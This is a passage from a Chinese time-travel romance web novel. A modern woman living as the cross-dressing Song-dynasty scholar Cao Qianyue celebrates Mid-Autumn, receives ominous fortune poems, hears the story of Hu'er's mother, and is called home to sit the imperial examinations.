李师师?!我不禁想起了前些天看的电视剧《新版水浒》,安以轩定然没有她的美丽,只是气质上却真有几分相似。没想到,她会是瑚儿的亲姨娘。此刻,瑚儿在她身边尽情的撒娇,她们有说有笑!此刻的瑚儿才是我所认识的那个人,可是我不知道,她是否真的已经恢复了心情,昨晚的她哭泣颤抖着,如孩子一般。现在的她却这样开心的笑着,真的没事了吗? “谦月,别一大早就一副苦瓜脸呀?”瑚儿注意到我的失神,便靠过来捏了捏我的脸笑说着,随即又伏在我耳边,“她们都不知道,就别让她们担心了!”很快,她又大声说着,“以后还要陪我找人呢?别反悔呀!”瑚儿依然是笑的,可我知道,她是认真的在和我约定。眼前这个笑靥千秋的女孩子,比我们所想的坚强,这一点,是我在那一刻第一次体会到的。只是那时的我是欣慰的,可是后来,她的坚强却一次次的引我心疼;甚至是怨恨。。。。。。 “自有打算?!!”李师师见我们这般亲密的模样,又开始调侃起瑚儿。也许,我们早就已经超过了知己间那暧昧的界限。只是还执着着心中的一些念头。。。。。。 “谦月大哥,芊寻姐在厨房,你去帮忙吧!”瑚儿羞红着脸将我推出了房间。又回到了门外,听着她们依旧欢乐的聊着天,我想瑚儿有姨娘陪着,会好很多吧!而且,她已经看清了未来的路,也做了打算,我只需要尽力帮她、陪着她就可以了。我的心,只有这样才会安。 一路思索,我觉得未来似乎还有很多不确定的事,不禁有点怅然。来到厨房,却见到黄毒人满身菜叶子狼狈的蹲在门外。 “我发誓再不害人,我愿为了你改变一切,你会不会喜欢我一点?”一向傲娇尊贵的黄毒人,此刻居然委屈的追问着,眼睛水汪汪的呀! “会!”是芊寻的声音!她居然很认真的回答着。。。。。。 48、蝴蝶梦 “真的?!那你会喜欢我哪一点?”黄毒人仿佛充了电,抖擞起来,“相貌、才学?” “我。。喜欢你离我远一点!”芊寻回答的云淡风轻,却腹黑而可爱。不要理这个浪荡子就对了。可怜的黄毒人托着一身的蔬菜踉跄的走了。。。。。。 “保持距离!”我刚刚踏进厨房就迎面飞来一枚鸡蛋,幸好我反射弧比较发达,接住了。 “我来晚了,别生气嘛!”我笑说着。见厨房里已变成了粉白的世界,想到今日是中秋,便猜到芊寻可能是在忙着做月饼。 “月儿!睡好了吗?”芊寻一听是我,兴匆匆的忙转过身。哇,不愧姓雪了,真成了雪人。“芊寻是打算把自己做成一个秀色可餐的小月饼吗?我真想品尝一下。”芊寻害羞的擦了擦脸,结果更像小花猫了!我轻轻地为她擦拭干净,那温婉的面庞再一次出现在我的眼前。好久没有像这样近距离的看着芊寻了,她的脸色有些苍白,似乎并没有补足睡眠。 “我来吧!你休息一会!”赶忙把她拥到一旁坐下,我便挽起袖子开始和面粉作斗争了。可别小看我呀,我可是很贤惠的!额,好吧,其实是‘闲’在家里什么也不‘会’。不过谦月给我的记忆里有过做月饼这段,所以应该问题不大,吧! “我记得这宫饼还是月儿教我做的呢!”芊寻坐在那里,静静的望着我,我甚至能感受到她目光里的温暖,“月儿可还记得我最喜欢吃的味道?” “莲子!”很特别的口味!在谦月的回忆里看到过,芊寻正在追忆的是她们的过去。可惜那段记忆如同莲子一般,既甜蜜又苦涩。当年芊寻第一块月饼吃到的就是莲子,那种甘甜与苦味让她流泪了。也许芊寻在那一刻明白了,这就是她和谦月的爱的味道,她们经历了世人不曾想象的苦难,却拥有着任何人也无法分享的幸福。她们的爱,那么执着绝望却又那么荡气回肠。。。。。。 “今年我多做几种口味,你看看还有没有爱吃的!”我看着厨房里的材料,想着,五仁、蛋黄、桂花、什锦、豆沙、芝麻等等,这些应该都能做十几种了。 “第一口吃到莲子就喜欢,恐怕这辈子也不会再喜欢别的口味了。不过月儿若是有兴趣可以多做几种给大家吃!我吃莲子味的就好。”芊寻的体温伴着话语贴近了我,她从后面将我环住,温热的呼吸打在我的后颈上,痒痒的。我一边心猿意马的做着月饼,一边想着芊寻的话:第一次喜欢上了,就不会再尝试别的。这就是芊寻,她的执着,她把最纯美忠贞的爱恋给了谦月,这辈子就再也不会爱上任何人了! 我和芊寻的未来到底会怎么样?这是我第一次好好的思考这个问题,以前的我命在旦夕,能多活一日便多陪伴她一天。如今,我可以活下去了,我是不是就可以和她厮守一生?! 可是我有这个资格吗?我配得上她吗?芊寻深爱的是谦月,而我不是。我是倪飞!!重生在宋代五个月,我和芊寻总是分分合合,在一起的时间加起来不足十天。我知道她爱‘我’胜过一切,可我拥有的只是她和谦月的回忆,她的爱仿佛是上天赐给我的礼物,那么纯洁无私。但是我为她做过什么?我只是在享受着她对谦月的好,我什么也没有给过她。。。。。。 我现在的感觉就好想看电影,电影里有谦月和芊寻的故事,我为她们感动哭泣。可当我也置身其中被芊寻深爱着时,我沉醉,却不得不恐惧。芊寻执着的爱,无怨无悔。但如果有一天,她发现我不是谦月了,会不会像对待其他人一样心如死水,不再理我。更可怕的,如果她发现谦月不在世上时,会不会随她而去?!我来这里,不是为了让她伤心;谦月想尽一切办法让我代替她,就是为了好好的守护芊寻。可是我能给她一辈子的幸福吗?我们之间是不是永远隔着谦月呢?? 芊寻,我该怎么做,怎么做才能让你幸福?我用力地揉着面团,心乱如麻。 “月儿,在。。。。。。担心瑚儿吗?”芊寻感觉到我的失神,柔柔的问着,却有些小心翼翼。 瑚儿!瑚儿。是呀!她也是个我必须好好照顾的人。我在宋代的第一个朋友,芊寻不在身边的日子,我们几乎天天在一起。她的笑容,已经刻在了我的心里。我们陪着彼此胡闹,我的生活里已经习惯了她的存在。作为女人,我也不得不承认会被她的善良、活泼吸引。可是如同谦月担心自己给不了芊寻幸福一样,我也知道自己配不上瑚儿。但是我可以把她当知己一样守护,我希望她永远幸福快乐。 如今,她却为了救我而承受一生的痛苦。我又怎么能放着她不管呢?可我能为她做的只有一样了吧! “我会陪着她,找到珍爱她的人。”这是我下定的决心,感到背后的人儿有些颤抖,“芊寻,会陪着我一起吧!”我希望芊寻陪着我,我们多一点时间在一起,也许会坚定我对她的感觉,就算我不是谦月,我也想回报她的爱,我想与她相爱。我,倪飞会让芊寻爱上我,也会爱上芊寻。 “好~”芊寻将我抱的更紧,语气里却有着开心。浪迹天涯也好,只要我们能在一起。 放下烦恼,我开始全心全意的做着月饼。。。。。。 现在想想,我当时的想法真的好简单!可是上天总是喜欢作弄人的。。。。。。 “芊寻,我做好了,看心形莲子月饼,满满的爱哟。。。。”我兴奋的拿起来想给芊寻看,却发现她已经香香的睡着了,一定是还没休养过来。小心翼翼的将她抱起送回房中,轻轻的安置在床上。幸好没有弄醒她,我舒了一口气。轻轻关上门,一转身就对上了一双幽怨的眼睛。 “端木鸩,你敢不敢不用这样的眼神看我!”我走到他跟前,听芊寻说,我才知道黄毒人的真实身份,他先祖曾是王室正统,因为和平政变而远走苗疆,遂改姓端木。自幼学习毒蛊之术的他并不热衷于政治,此次夏国丞相重金请他制造瘟疫,他也只是为了好玩。师傅念在他本性不坏,况且大理与夏国交好多年也就不再追究了。难怪他总是一副傲娇的的样子,原来真是‘皇家人’,如此他就不是芊寻的什么仇家了,我也可以放心。不过他似乎还是很喜欢缠着芊寻,这个高帅富的男小三让我感到鸭梨很大。 “算你狠!”幽怨double。 “嗯?”what’smeaning? “命好!!!”这句话,黄毒人说的极不服气却无奈,他狠狠的捶了柱子一下,“如果我能和你一起认识芊寻,也许我会赢你!可是。。。。。。”我知道,我一定是命好才能拥有芊寻这样的爱人,如果‘我’不是谦月,我就会失去芊寻。芊寻是暗夜里的月光,温暖的拥抱着我的心。芊寻会被人倾慕,我其实并不感到意外。 “她不单单是救了我的命,也在那一刻救了我的心。医药在我的手里从来是夺命的武器,可对于她却是济世救人的仙法。”他的蓝眸如水在这一刻变得温柔、沉静,因为他在追忆着和芊寻的点点滴滴。“世间怎么会有如此美好的女子!”我永远不知道芊寻在他心里究竟会是什么模样,但也许更加完美无瑕吧!她让这个高傲的王族公子,痴恋了一生。 没有理会那个继续自怨自艾的老男孩儿,我回到了厨房。月饼还在烤着,到晚上才能吃。我看厨房还有些面,想起刚刚听李师师说的:今日是瑚儿的生辰。反正大家也没什么吃的,我干脆煮些面给大家吃!对于瑚儿是长寿面,对于大家也就当填填肚子,晚上在共同吃月饼赏月吧! 总之,效果还是不错的,大家吃的很开心。瑚儿在李师师“曹公子,真是有心呀”的挑逗下吃的面若桃李般粉红,不知是面热还是害羞。 见大家如此欢乐,我又想起了那个比较不合群的人,完颜晴。她在这里虽然衣食无忧,可是她的脾气总是让大家不太喜欢接近她。我还是亲自去送吧! 尽到屋里,我看她呆呆的在摆弄和一个物件,入神的没有意识到我的到来。 “来吃长寿面吧!可以长命百岁哟!”我刚刚因为被大家笑了,所以条件反射的直接解释道,反正就是祝福嘛!不管是不是生日,吃了就长命百岁不好吗?因为她的眼睛看不到,我把碗摆好,又为她弄好了姿势。她微微怔住,随即笑了,是真诚的笑意,“多谢!”她轻轻地说着。 她吃的很慢,很仔细。举手投足间的气质安静典雅,不再霸气凌人。 “今晚中秋,会有烟花,和我们一起吧!”我真心邀请,希望她能多点朋友。 “我又看不见,”完颜晴低低的说着,呀!我忘了! “看不到,也可以感受到!我可以说给你听,那有多美!”实在是不忍心看她那副落寞的样子,眼睛看不到了,确实让人憋闷。微微点头,算是答应了吧!这样的完颜晴很乖巧,我觉得她要是能一直这样就会有朋友了。 无意间,我看见桌上她刚刚摆弄的东西,愣住了。 紫玉蝴蝶!我忙掏出芊寻的那半只,居然可以合二为一。。。。。。 49、各安天命 蝴蝶?蝴蝶!“我是你的蝴蝶,你一定要找到我!。。。”那久远的梦里的话忽然出现在我的脑海里。蝴蝶?为什么她也会有这个玉佩。这个蝴蝶是否与我要找的人有关?她和芊寻又有什么关系?我要找的人到底是谁?那个等了我千年的女孩儿,会在哪里呢?芊寻、完颜晴、紫玉蝴蝶、蝴蝶?我。。。。。。一时间太多太多的疑问充盈在心头。。。。。。 “这蝴蝶玉佩?”我有些颤抖的问。 “是娘留给我的,从出生起就带着。今日突然想起,就拿了出来。”完颜晴平静的语气里没有任何情绪,“我吃好了,谢谢你的长寿面!晚上我会去的!” 如果当时,我不是满脑子想着蝴蝶的事,我一定会留意到完颜晴的改变。 直到和她成亲多年,我才知道原来中秋也是她的生辰。那碗面是第一次有人为了给她庆生而做一件事。而我,总是无意间做了太多别人不曾为她做的事。这也许是我们缘与孽的开始。。。。。。 中秋月圆,劫后余生的大家,心情甚好。我虽然满腹忧虑,却也被欢乐的气氛感染,和大家共同赏月。忽然天空中飘起无数孔明灯,灿烂若星辰。 有人提议不如借着天灯许愿,传给老天! 大家纷纷说出了自己的愿望: “我希望小姐幸福安康,大宋国泰民安!”冷语率先说出心愿,虔诚依然!瑚儿开心的抱过她。 “我只盼月儿永远快乐!”芊寻拉着我的手说,没有望着明月群星,只是温柔的看着我。 “到我了,我希望。。。。嗯。。。。我的爹爹健康、师师姨娘永远美貌幸福,兄弟姐妹们和气友爱,曹大哥和芊寻姐百年好合,冷岩冷语快快乐乐,还有。。。。。。”瑚儿,一口气说了好多。李师师打断,“丫头,你要许几个愿呀?” “天上那么多天灯,多说几个老天爷也会听到吧?”瑚儿蛮认真的说。 “那你的终身大事呢?不和老天说说?!”李师师一如既往的用桃花绯闻来调戏瑚儿。 “姨娘~你又这样,我的事我会自己想办法的,您和老天爷就不用操心了,乖!”瑚儿熊抱着李师师,求放过。 “我希望能在雪芊寻身边!”似是誓言,端木鸩因为芊寻的禁令不敢靠近,一个人蹲在回廊里抑郁画圈圈(恶寒,我觉得他在诅咒我吧!),听到我们在许愿,他便对着天大喊,许是认为声音大了老天会听到吧!好吧,他和瑚儿的天真度≌了。 看他可怜,想到毕竟是团圆夜,大家就劝芊寻允许他到院中来,芊寻看看我,我对于黄毒人其实倒也不算讨厌,也就同意了。许愿继续,我的愿望呢?“我希望所有人都能幸福!”我也是贪心的祝愿所有人,坦白说,我真的不知道我最希望得到的是什么?芊寻的爱、瑚儿的愿、蝴蝶约定。。。。。。太多东西让我迷乱了。。。。。。可是这世上真的有让所有人都幸福的办法吗? 轮到完颜晴了,她今晚出奇的沉静,似一个温婉的大家闺秀。 “愿望!这东西不是要靠自己来实现的吗?”感觉到大家的注视,完颜晴淡淡的说着这样一句话。气氛冷却剂的称号不是白得的,刚刚热闹非凡的院子,一下子就冷得掉地上了。 “嗯?!”所有人都为这话变得沉默,唯有李师师有些玩味的笑了,笑的难以察觉且转瞬即逝。 “额,呵呵,反正每个人圆梦的方式都不同吧!我们许了愿,也没损失!”我不知道自己能不能缓和这尴尬的气氛,不过我尽力了。“老天爷也会帮我们的!” 我的话音刚落便烟花漫天,映着庭院里众人脸。烟花很美、很灿烂,响彻云霄的声音也打破了我们的尴尬,大家的心情舒缓而兴奋。我见完颜晴一如既往的寂寞着,便到她身边,本想按照约定讲给她听,可是太吵,我的声音被吞没了。无奈,我拉过她的手写下,一些描绘的语句,也许是因为摩擦,她的手一点点变得温热。。。。。。 此刻,院中有我、芊寻、瑚儿、冷岩、冷语、师傅、完颜晴、李师师、端木鸩。 当时的我们心里都很快活,只是没有想到这样的团圆,日后再也不会出现了。。。。。。 只因为山河破碎,生死别离的序幕已经拉开。。。。。。 闹到很晚,大家才散去。 可是我却不能睡着,一闭上眼,芊寻的脸、瑚儿的泪、完颜晴的眼睛便会交叉浮现在我的眼前,还有那“一定要找到我”的话语也不断地回响。我,睡不着。 披上衣服,我来到庭院里。发现,原来我不是唯一的失眠者。 “师父,您怎么还没有休息?”来到正在自斟自饮的师父身边。 “她们离开那晚,也是这样的月亮!”师父微微的叹息,一饮而尽。随即又为我倒了一杯。她们?师傅在思念谁?娘!?不过他老人家似乎没打算告诉我,罢了,我也有自己的烦心事,还是我们一起举杯消愁吧! 虽然不善饮酒,幸好宋代流行黄酒这种低度酒,所以喝起来也没什么不适。 “我不知将来该怎么办?”酒过三巡师傅问我为何而愁,我如实回答,对于未来,我感到无尽的迷茫,以前我一心求生。如今我身体无碍,未来又该做些什么呢?我还要去寻找梦中的人吗? “如果可以知晓将来,你又敢不敢看呢!?”师傅听完我的话笑了,然后问了我这样一个问题。 未来,如果知道了也许就不会烦恼了吧,我点了点头。师傅随手从身后取出了那个布袋,就是我所见过的那个。想起那天晚上,我的好奇心再次涌了上来。我不自觉的摸了摸右手手臂,那天,师傅似乎传给了我什么,不然我的右手怎么会轻而易举的杀死雪蛇! “你的手臂,留意到了?”师傅见我的举动,便说,“你这辈子内家功是不行了,唯有打通你的三交玄关!”这样就算没有内力,我的右臂也能有常人百倍的力量。我试着托起石桌,soeasy!!握了握拳头,难以置信,我几乎没有用力。 “好了,你准备好了吗?”师父的话将我的心神拉回来,只见他将布袋口撑开,“里面有些东西也许是你们的未来。” 我往里面看了看,似乎只有白花花的一片,将信将疑的把手伸了进去,触碰到的好多像是纸团的东西。又不是抽奖好嘛!我对师傅占卜的信任度急剧减少。老人家该不会是把练字的纸随手丢进去了吧! 抓了一个出来,一展开,熟悉的文字令我呆住了: “云笼婵娟月难明,世传精忠永赤诚。 谁料此生两登科,亡国安邦绊一生。 桃花片片迷人眼,徒留心中念重重。 了悟天下自有主,江山终为人力更。 红颜卸甲忘前尘,错把他乡做故乡。 情缘乱世归一梦,笑乘西风恨匆匆。” 这,多么熟悉而陌生的诗句,我终于可以将她看个明白。只是有些字眼似乎预示着悲伤。 “师父,您能否为弟子指点迷津!”师父见我疑惑,便将纸条拿过认真的读起来。 “哦,我也只能猜测一二”师父笑了笑,然后开始为我一句句的推敲。我自己也在遐想,前两句是说谦月,生在荣耀忠君之家,却要穿纤云甲女扮男装;后面的就是我了吗?登科,在古代是中状元和成亲的意思,两登科?二婚?还有安邦?以我现在的文治武功,能为国效力当真是笑话!后面的呢?完全乱七八糟,让人毫无头绪。 “还有没有?”我急忙又从布袋里拿出几个纸团,一一展开。师父到是没有制止可是到了第四个,师父便收起了布袋。“这三个人的命与你有关,你看得!其他的你就看不得了!” 三张,三人?我仔细看着三张纸,上面都只有一句话: “贪嗔痴恋,镜花水月!” “假作真时真亦假,假假真真!” “得非所愿,愿非所得!” “这便是你身边三个女孩儿的命!她们的命因你而显”师父淡淡的说,“芊寻是世人向往的恋人,因只钟情于谦月而变成遥不可及的镜中花。而她所痴恋的却是水中月。哎~” “完颜晴,这辈子为真假所绊,终会迷失自己!” “赵瑚儿,她享了别人的好命,自然也就得承担了别人的痛苦。荣华恩宠不是她想要的,可是她永远得不到中意的!”师父说起她们,都伴着叹息。“且观她之相,似乎她和她母亲还要承担灭亡两个国家的宿命!” 红颜之命难道就一定要如此惨淡。。。。。。 “我能做什么?”我自言自语的问着,忽然也觉得苦闷,透不过气。似乎我们中没有一个人是幸福的。 “走下去,命自会来找你!”师父又一次自斟自饮起来,似是劝解我,“其实命这东西,信则有,你也不必太过挂怀!”可是他自己的愁苦似乎也是销不尽的。 酒不醉人,我想我最好还是走一走,不然只会愈来愈气闷。 拜别师父,我从一个院中走向另一个院中。圆月似乎更加明亮,若非夜风时时袭来,竟让我忘了这是晚上。如同行尸走肉一般,我飘荡着,心里纠结着宿命二字! “诶呀!”我走着在回廊里,却被突然推开的窗子打了个正着。 “曹公子!我正想找你!”窗中的人竟是瑚儿的姨娘李师师,她看到我似乎有点欣喜。。。。。。 50、各自启程 “乖,不要动,不然~会变得很奇怪!”师师嘴角噙着笑,眼神里满是认真。 别多想,眼前这一幕绝对与艳遇无关。我已呆坐在这两个小时了,刚要搔搔痒又被禁止。没错,我当了画模。 “曹公子莫见怪,师师画技拙劣。加之与公子相识不久,实在无法臆想而画!”漫长的作画过程呀!李师师虽不让我动,倒也会和我聊聊天。 “哪里,夫人才情非凡!”你们的墨宝能不能送我两幅,肯定值老钱了。 “你可跟瑚儿一样叫我姨娘。”目不转睛,一心作画ing。 想不到,完颜晴能求动她,她可是天子的女人,才情风流,到底是什么让她肯帮忙呢?我不禁问出了自己的疑惑。 “哦~那孩子呀,我很喜欢”随口而答,却真诚,“她的性子很犟也很有趣不是吗,你还记得她许愿时说的话吗?” 回忆起来是,‘愿望这东西不是要靠自己的努力实现吗?’ “有趣的是,这话我姐姐也曾说过!”李师师说到这里,忽然停了笔,微微的笑着,却在笑时忍不住叹息。‘姐姐’是瑚儿的娘吧!师傅说瑚儿与她娘会让两个国家灭亡,如果是真的,那么。。。。。。 “姨娘,瑚儿的娘亲是。。。。”我还是问出了口,这个女人对瑚儿很重要。 “瑚儿的身份我想你是知道的!不过她的生母并不是皇后郑氏,而是我姐姐李善娘!”李师师回过神,也许是她想起了那个人就想要和人分担这份思念。她搁下笔,开始为我说起了瑚儿娘亲的故事。 善娘长她七岁,便如母亲般照顾她。她们自幼孤苦,想要好好地生活下去太难了!善娘自愿进入青楼,拼命学习琴棋书画,她知道自己只有这样才能得到更多。 “姐姐的才情天赋远胜于我,而且,她很了解男人心。”李师师追忆着一个让自己仰望终身的人,一个能在痛苦中创造荣耀的女人。她名动州城,很多名士慕名而来,她的诗赋才情也更上一层。终于有一天,风流天子也来了。善娘一曲打动帝王心,他为她痴狂,留恋数月。善娘有了身孕,赵佶决定为她做个贵籍,正式迎娶。这是他临别时的约定。 “他,没有来吗?”通常都是这样吧!我追问着。 “来了,不过晚了些!”皇帝离开不久,豫州城被辽人抢掠,百姓四散逃离,姐妹俩也失散了。“等到我与姐姐再见时,已是一年之后。那时姐姐抱着出生不久的瑚儿,憔悴至极。”把瑚儿交到了李师师手上,没多久便死去了。 抱着哭泣的瑚儿,李师师根本不知道该怎么办?她从来都是被姐姐照顾着,如今自己该怎么办。。。。。。正在她走投无路之时,他回来了。得知善娘香消玉殒,他居然抱着瑚儿痛哭不止。 “他或许真的很喜欢我姐姐,所以才想把所有好的都给瑚儿,”悲伤地事已经讲完,李师师再一次提起笔,有一笔无一笔的描摹。 “那瑚儿知道她母亲的事吗?”我问,她似乎知道她的母亲已经不在了。 “郑皇后子女不少,亲疏之别,她虽年幼但多多少少能感觉出来!两年前她拿着一副姐姐的画来青楼找我,吓了我一跳,这小丫头我上次见她她还是个婴儿,如今都成大姑娘了!”李师师说起瑚儿那副天不怕地不怕的样子真是可爱。 “当年瑚儿被接走后,陛下是如何安置您的呢?怎么会。。。” “有安置,不过我喜欢热闹,所以就在京城的青楼卖艺。近些年,我长得越发像姐姐了,所以他也和我在一起。”依然是信手勾画着,语气已经毫无波澜,“现在全天下都知道我是大宋皇帝的女人,就算不住在宫里,也没人敢欺辱我。我想去哪里就可去哪里!”她活的逍遥快活。 我一时也没什么话可问,不自觉的回忆起与瑚儿相遇后经历的一幕一幕,她似乎一直是个带给人快乐的女孩,她笑着的心里却藏着很多痛苦。虽然已经隐隐约约的知道了她的坚强,可是想起她的笑脸,仍会让我越发心痛。你到底在追求什么呢? “好了!”李师师端详起自己的画作,“呵,曹公子男生女相,恐命犯桃花!” “见笑了,”拜托,我好歹是个女人,长得像施瓦辛格那么man就毁了吧!不过我还是凑过去看看自己的画像,蓝衣束发手捧书卷。李姨娘,您把我主观美化了,多谢多谢。 “曹公子自谦了,你刚刚一直在问我为何帮完颜晴,怎么不问问她为何求人画你呢”李师师洗了手,取了块点心小啄一口。 母鸡呀,我也想问。 “女儿家心事,确实难猜!”李师师轻叹,“不过男人心就太简单,贪新忘旧见一个爱一个。也许瑚儿就是因为这个才发誓要找到那个情有独钟的人。可这世上哪里有那么多完美的事?她总有一天会明白吧!” 情有独钟,情有独钟!真难呀!需要多少经历、多少考验、多少折磨,才能在心里铭刻住那个对的人。 “不过这事他爹也有打算,她的夫婿必是将相之才,倒也由不得她操心了!”李师师说着向我笑了笑。杀伤力蛮大的吗~短短几轮对话,已经点的很明白了,我这种人是配不上瑚儿的!不用知难而退,我原本就有这个自知之明。我的心没有一个确定的答案,我不够优秀不能拥有她,更重要的是我只是个女人,又能给她什么呢?此刻的我还有理智,所以我并没有在意李师师的劝诫,因为我从没有相信我和瑚儿会有除友谊以外的情愫。但这只是我的相信。。。。。。 叩门声及时的传来,挽救了尴尬的我。 “进来坐吧!”李师师亲自打开门邀请。 “不了,已经很麻烦您了!”完颜晴手扶着门,举止礼数周到“我做的糕点和您口味吗?” “咸口的,正和我心意。”李师师一边卷好画作,一边笑答“这幅画给你!” “我是按着自己喜欢的口味做的,您也喜欢真是太好了。”完颜晴面对李师师时很温柔,真的。也许是有求于人,让她很虔诚。“多谢您”将画轴拿好,她便要离开。 “不打算和曹公子她们道别吗?”李师师在完颜晴转身时问着,眼睛却看着我在笑。 “不必了,他。。。们应该还在休息。有缘终有再见日!”完颜晴淡淡的笑着。 她要走?好突然! “不去看看她!”李师师回到桌旁,笑着说。“她若回了女真,没有三两年不会再见了!” “她也没打算告诉我们呀!”我无奈的说,对这个女孩我向来是无可奈何的,因为她有自己的心灵世界。 “怕遭冷眼?呵呵,哎,能说出我姐姐那番话的人,心里必是有着股犟劲也有着别人受不了的苦。”李师师的话变得深沉起来,“难得她能当你是朋友,去看看吧!”无论李师师是出于什么目的说着这番话,我觉得确实不能不管不问的让完颜晴走掉。 来到门前,我刚想敲门,就听到里面有轻轻地人声,而且不止是女人的。 我在窗边曲下身,偷听着,大概有两个男人在和完颜晴争论什么,不过她们都不敢大声说话。地理位置优势让我听得一清二楚,but!一句都没有听懂,她们说的是女真话!好虐心!!! “吱”门开了,我偷听的太入神,没反应过来。所以,我们恰好对上眼了,哈哈,悲剧了。虽然面前的汉子看起来不过二十来岁,但还真是威武雄壮,damnit! 我缓缓的站起身,突然其中一个迎面向我打来一拳,我向后退并且唤着“完颜晴!”听到是我,她马上叫住了那个人。 “你怎么在这里?”闻声走到我的面前,焦急的问! “你不会是被挟持了吧?”我神经兮兮的压低了声音问。 “是~才怪!”完颜晴从低沉到突然笑着打了我的额头一下,“想太多了,他们是我兄弟,来接我回家。”回想刚才的对话,虽然内容我不知道,但是语气上能听出,完颜晴有着强势的地位。果然呀!这丫头不简单! “好了,不必送了,”完颜晴潇洒的上了马,便头也不回的说着,“后会有期!” 此刻的她似乎依然冷傲,可是唯一带走的行礼只是那个画轴,或许她还是在意我这个朋友的吧! “咦!金英要走了吗?”不知何时瑚儿飘现在我身边,好奇的问着。 吓我一跳,头发散着,衣服勉强合着,干嘛!□□!?或许是有这效果的。 马上较年轻的那个汉子,突然跳下马,欣喜的来到瑚儿面前,“我。。我叫武术,见你。。开心”蹩脚的汉语,表达着喜悦。 “呵呵,赛马王你好!”瑚儿礼貌的抱抱拳,笑了笑。 完颜晴又用女真话叫了他一下,他便恋恋不舍的跨上马。三人渐渐消失在刚刚破晓的天边。。。。。。 和瑚儿向院中走,我心里想着,刚刚那人的名字是不是有点熟悉?武术,金兀术!!那个大宋日后之敌金国四太子金兀术!!!不会是他吧! “那人你见过吗?”我问瑚儿,她们似乎相识! “哦,他就是昨天赛马大会的胜者,马术很厉害的!”瑚儿回答到。 “这样呀!那。。。。。。”我本想和瑚儿再聊点别的,却被身后突然传来的急促马蹄声打断。有人在门口下了马,并且步履慌忙的跑进来。 “二少爷!您在这太好了。。。。老爷。。。病重,夫人让我来。。。。。请您和大少奶奶。。。回去!”小厮断断续续的喘着粗气带来了惊人的消息。 这一天是个转折点,让我的未来改变了,但也许,那本就是我该面对的。。。。。。 51、发现 “月儿,不远送了,回去后好好照顾你娘。”师父最后的叮嘱我一次,便在门口送我们上了马。 望着挥手道别却越来越远的众人,我们不知何时才能再见面。师父说以后都会留在夏国,瑚儿等人本来也想回京,不过她好像突然想起了什么,还要在此‘避难’一阵子。至于我们寻找真命天子的约定,她说回来后找我帮忙! “月儿,我们骑一匹马好吗!”平静的路上,芊寻突然靠过来拉着我的衣袖,红韵的小脸,煞是可爱。我们真的是好久没有这样独处的机会了,我当然遵命。从后面拥抱着芊寻,暖暖的。芊寻握着我拉着缰绳的手,温暖至极。手心的接触,让我想到了芊寻为我中下的蛊。 刚刚道别时,端木鸩将我叫到一边,告诉了我我手心的蛊到底是什么。同生蛊,子蛊是一颗休眠在人体内的蛾卵,人只要活着,他就一直沉睡。可是如有一天人死去了体温降至最低时,它便会飞出来,纵然飞千万里也要到母蛊身边,共和成剧毒。施蛊的人便可以与所爱之人生死相随。。。。。。 “你若欺负她,我就把你毒成人彘!!”端木鸩在动情的讲解后,来着这么一段恐吓。“等我修行好了,就去找你们。你们若没生出孩子,我还是会想办法抢走她的!”幸好师父说他罪孽深重扣留了他在师父身边修行两年,不然他肯定对我们‘骚扰相随’。。。。。。 “月儿,我们生个孩子吧!”芊寻如有所思的问。 “好呀!”我下意识的回答,反应过来时,被吓了一跳。怎么突然说起这个问题,难道是听到了端木鸩的话。如果能和她有孩子,我当然想!可是两个女人在这个时代怎么可能呢?在我生活的21世纪也许还有希望,在这里。。。。。。 “我知道你喜欢,我也喜欢呀!如果有了宝宝,你就一辈子都舍不得离开我了吧!”芊寻笑着说,可我感觉到她没有看上去那么轻松,倪飞呀倪飞,你是什么时候让芊寻失去了安全感呢?为什么能够共度一生时,你却让她如此不安! “我才不会那么傻离开你呢?乱说,罚你做我的宝贝一辈子!”我抱紧芊寻,心中笃定。无论前方有什么,我都要和你一起走下去,我会让你幸福,用尽我生命也要让你幸福。 “我也是说笑的!我医术再高也不能如此。不过月儿,我们说好了,不离不弃!” “嗯!”我将头枕在芊寻的肩上,郑重的回答。。。。。 半个月的日夜兼程,我们终于回到了那个好像一切原点的地方。一下马,娘就拥抱我,‘养儿一百岁,长忧九十九’这句话,我终于在娘温暖的怀抱和欣慰的泪中有着深切的体会。 娘本来想安排我们好好休息一下,可是刚刚进入内院,爹爹就派人叫我去精忠阁见他。 依旧的压迫感,只是这次的排位前,跪着一个有些颓然的男人。 爹?我是不是该这么叫他,或是该下跪什么的!我不太敢走进去,只听他叹息着。 “曹家百年的荣耀,绝不能在我这一代败落。晟儿,你一定要考中进士光耀门楣!” 考科举???!? 他转过身来,苍白的脸,他吃力的借着拐杖站起,我本能的上前扶住他。疾病或许摧毁了他的健康,可是却没有夺走他的刚毅。他对我说起了我离家这段日子的一些事。国际局势是北方崛起了一个新的王国——金,辽国虽已是强弩之末,但依然骚扰我国边境。家里的事,大哥在京为官却因为恃才傲物(傲娇)而并不招京城的大佬们喜欢,遭到排挤,还连累了边关的父亲。有人进了谗言,减少了边关的粮草供给,父亲举步维艰,急火攻心,病倒了。朝廷也很干脆的就“恩准”还乡了! “军人本该死在战场上的!”他一边说着,目光却飘向了北方的夜空,他的心一定也飞到了边关。“可是现在的我连这小小的木棍都拿不稳了!晟儿。。。。。。”英雄老矣,无可奈何!昔日那个金戈铁马驰骋疆场的人,已经垂垂。 曹爸爸的意思我明白,就算曹家不能在武的方面继续保家卫国,也要在文的方面出个好官。 “我,。。。”我真的很想答应,和他相处虽只有片刻,可是我被这个英雄的老爹感染了,在他的身上有着我无法言明的情怀,如果不是亲身经历,你永远不会理解‘忠君爱国’在历史里,真的不是几个字而已,是无数人甘愿搭上身家生命去捍卫,世代相传的忠诚。可是,我确实没这个本事,科举比高考难上十倍。谦月或许尚还有希望。。。。。。她自幼聪颖好学,三年前便通过了省试,若非朝廷的惯例是不会重用年少就中举的人,她14岁就该是进士了! “月儿,答应你父亲吧!”娘有些慌忙的赶来,稳住气息,“老爷放心,月儿定会光宗耀祖,您也该早些歇息了!”娘代替我答应,曹老爷的脸色也因此放松了下来,许是真的累了,便被下人搀扶着回房。 “娘。。。。。”爹爹走后,娘说想我陪她走走,我们便来到了花园。我几次欲开口诉苦,学富五车的是谦月呀,就算我有她的记忆可是知识却没有这么好提取。除非您能给我发答案!也没有手机呀!我疯了,这是宋代,作弊被抓会诛九族的!!!!!我一个人想的面红耳赤,可是娘却一直若有所思的沉默着!娘到底是怎么打算的呢? “考试的事儿你放心!已经进了殿试的人,只要不是太过分,怎么也会封个官的。”娘柔声说着,“到时,只要你一心为民,也就对得起曹家的盛名了!” 